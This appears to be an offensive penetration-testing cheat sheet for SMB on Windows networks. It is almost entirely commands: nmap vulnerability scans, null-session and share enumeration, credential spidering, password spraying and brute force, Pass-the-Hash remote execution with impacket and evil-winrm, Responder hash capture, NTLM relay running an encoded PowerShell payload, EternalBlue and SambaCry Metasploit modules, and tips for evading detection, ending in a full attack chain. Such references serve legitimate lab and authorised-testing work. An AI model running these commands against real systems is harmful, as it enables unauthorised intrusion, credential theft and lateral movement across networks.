SMB is the single most valuable target on a Windows network. Share hunting, user enumeration, hash capture, Pass-the-Hash, remote code execution — all live on 445. Four questions drive everything: are null sessions allowed, which shares can I read anonymously or with low privs, do I have local admin on any host, and is signing enforced.
Discovery
nmap -p139,445 -sV --script="smb-os-discovery,smb-enum-shares,smb-enum-users,smb-vuln-*,smb2-security-mode,smb-security-mode" <IP>
# Fast triage across a subnet
sudo nmap -sS -p445 --open -oG smb.gnmap 10.10.10.0/24Version → vulnerability map:
| SMB version | Known vulns |
|---|---|
| SMBv1 (XP / 2003 / 2008) | MS08-067, MS17-010 (EternalBlue), MS10-054, MS10-061 |
| SMBv2 | MS09-050 pre-auth RCE on early Vista/2008 |
| SMBv3 | SMBGhost / CVE-2020-0796 (compression) |
Default scripts check all common ones:
nmap --script "smb-vuln-ms08-067,smb-vuln-ms17-010,smb-vuln-cve-2017-7494" -p445 <IP>Null Session Enumeration
# Impacket toolkit
enum4linux-ng -A <IP>
# Classic
rpcclient -U '' -N <IP>
smbclient -L //<IP>/ -N
smbmap -H <IP> -u '' -p ''
# NetExec
netexec smb <IP> -u '' -p ''
netexec smb <IP> -u guest -p ''From rpcclient you can walk users, groups, and domain policy without auth on misconfigured servers:
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> queryuser 0x3e8
rpcclient $> lsaquery
rpcclient $> getdompwinfo
rpcclient $> srvinfo
Share Enumeration
# List shares
smbclient -L //<IP>/ -U 'bob%Pass!'
smbmap -H <IP> -u bob -p 'Pass!'
netexec smb <IP> -u bob -p 'Pass!' --shares
# Connect to a share
smbclient //<IP>/share -U 'bob%Pass!'
# Inside: ls, get, put, recurse ON, prompt OFF, mget *
# Mount as directory
sudo mount -t cifs //<IP>/share /mnt/share -o username=bob,password='Pass!'Spider for Credentials
netexec smb <IP> -u bob -p 'Pass!' -M spider_plus
# writes JSON to /tmp/nxc_spider_plus/<IP>.json
# Snaffler from Windows (domain-joined)
.\Snaffler.exe -s -o snaffler.log
# MANSPIDER from Linux
manspider //<IP>/share -u bob -p 'Pass!' -c 'password|credential|api[_-]?key'High-value share names:
C$,ADMIN$,IPC$— administrative (need local Admin)SYSVOL,NETLOGON— domain-wide readable (GPPcpassword, scripts)Backup,IT,Data,Users,Public— organic file shares
Brute Force / Spraying
# Single-user brute
hydra -l administrator -P rockyou.txt smb://<IP>
# Spray one password across many users
netexec smb <IP> -u users.txt -p 'Winter2025!' --continue-on-success
# With hash instead of password
netexec smb <IP> -u Administrator -H <NThash> --local-authWatch for STATUS_PASSWORD_MUST_CHANGE — valid creds, expired password. Try WinRM/RDP which may prompt a reset, or change the pw via SMB:
impacket-smbpasswd -newpass 'NewPass!' 'DOMAIN/user:OldPass!'@<IP>Remote Code Execution
Needs local-admin on the target (confirmed by Pwn3d! in NetExec).
# PsExec (Impacket) — SYSTEM shell via SMB service create
impacket-psexec administrator@<IP> -hashes :<NThash>
# WMIExec — no service created, cleaner
impacket-wmiexec administrator@<IP> -hashes :<NThash>
# SMBExec — similar to psexec but different implementation
impacket-smbexec administrator@<IP> -hashes :<NThash>
# AtExec — upload-and-run via scheduled task
impacket-atexec administrator@<IP> -hashes :<NThash> 'whoami /all'
# NetExec one-shot command
netexec smb <IP> -u admin -p 'Pass!' -x 'whoami /priv'
netexec smb <IP> -u admin -p 'Pass!' -X '<PowerShell>'
# Evil-WinRM (if 5985/5986 open) — PowerShell-native shell
evil-winrm -i <IP> -u Administrator -H <NThash>Preference order for cleanest-to-loudest:
- Evil-WinRM / WinRM (PowerShell, no service)
- WMIExec (WMI, no service)
- AtExec (scheduled task)
- PsExec / SMBExec (creates & deletes a service, logs events)
Hash Capture via SMB
Serve a share, trick a client into authenticating, capture the NetNTLMv2 hash.
# Responder listens on 445 in addition to poisoning
sudo responder -I tun0 -wrf
# Trigger methods:
# - UNC path in MSSQL xp_dirtree
# - SCF/LNK file in a writable share
# - HTTP → file:// Windows auth
# - PrintNightmare / PetitPotam / coercer for DC
# Captured hash → crack
hashcat -m 5600 netntlmv2.hash rockyou.txt
# Or relay (if SMB signing NOT enforced on target)
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'powershell -enc <b64>'Find relay-eligible targets:
netexec smb 10.10.10.0/24 --gen-relay-list targets.txtSMB Signing
- Enforced → NTLM relay blocked, but spraying and PtH still work.
- Not enforced → Full NTLM relay available.
Check:
nmap --script smb2-security-mode -p445 <IP>
netexec smb <IP> # column "Signing" shows True/FalseKnown Vulns Quick-Fire
| CVE | Vuln | Exploit |
|---|---|---|
| MS17-010 | EternalBlue | msfconsole> use exploit/windows/smb/ms17_010_eternalblue |
| MS08-067 | NetAPI | Legacy — use for old XP/2003 only |
| CVE-2017-7494 | SambaCry | msfconsole> use exploit/linux/samba/is_known_pipename |
| CVE-2020-0796 | SMBGhost | PoC public, patch-level check first |
Always check first:
nmap --script "smb-vuln-ms17-010" -p445 <IP>Detection / Attribution
psexeccreates a service calledPSEXESVCand the binarypsexecsvc.exe— Sysmon 4697.- Impacket SMBServer in Responder writes NTLMSSP_NEGOTIATE / AUTHENTICATE patterns distinct from legitimate servers.
- Mass share enumeration (fast file reads across many hosts) is anomalous.
Change psexec service name and share name if you care about noise:
impacket-psexec -service-name <custom> -share <share> admin@<IP>Attack Chain
nmap 445 → smb-security-mode + null session
→ null: enum4linux → user list + policy
→ spray with user list
→ any valid creds: smbmap → shares → spider
→ any local-admin: psexec / wmiexec → SYSTEM
→ secretsdump → more hashes → PtH subnet sweep
